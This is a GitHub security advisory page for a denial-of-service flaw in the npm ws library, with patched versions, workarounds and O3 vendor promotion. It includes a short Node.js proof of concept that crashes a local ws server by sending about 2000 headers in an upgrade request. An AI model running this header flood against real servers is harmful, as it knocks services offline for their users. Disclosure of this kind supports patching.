GHSA-3h5v-q93c-6h6q
HIGHws affected by a DoS when handling a request with many HTTP headers
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
wsnpmDescription
Impact
A request with a number of headers exceeding the server.maxHeadersCount threshold could be used to crash a ws server.
Proof of concept
const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});
Patches
The vulnerability was fixed in [email protected] (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to [email protected] (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), [email protected] (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and [email protected] (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e).
Workarounds
In vulnerable versions of ws, the issue can be mitigated in the following ways:
- Reduce the maximum allowed length of the request headers using the
--max-http-header-size=sizeand/or themaxHeaderSizeoptions so that no more headers than theserver.maxHeadersCountlimit can be sent. - Set
server.maxHeadersCountto0so that no limit is applied.
Credits
The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.
References
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | ws | ≥ 2.1.0&&< 5.2.4 | 5.2.4 |
| 📦npm | ws | ≥ 6.0.0&&< 6.2.3 | 6.2.3 |
| 📦npm | ws | ≥ 7.0.0&&< 7.5.10 | 7.5.10 |
| 📦npm | ws | ≥ 8.0.0&&< 8.17.1 | 8.17.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ws. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update ws to 5.2.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3h5v-q93c-6h6q is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-3h5v-q93c-6h6q is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-3h5v-q93c-6h6q. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-3h5v-q93c-6h6q in your dependencies?
O3 detects GHSA-3h5v-q93c-6h6q across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.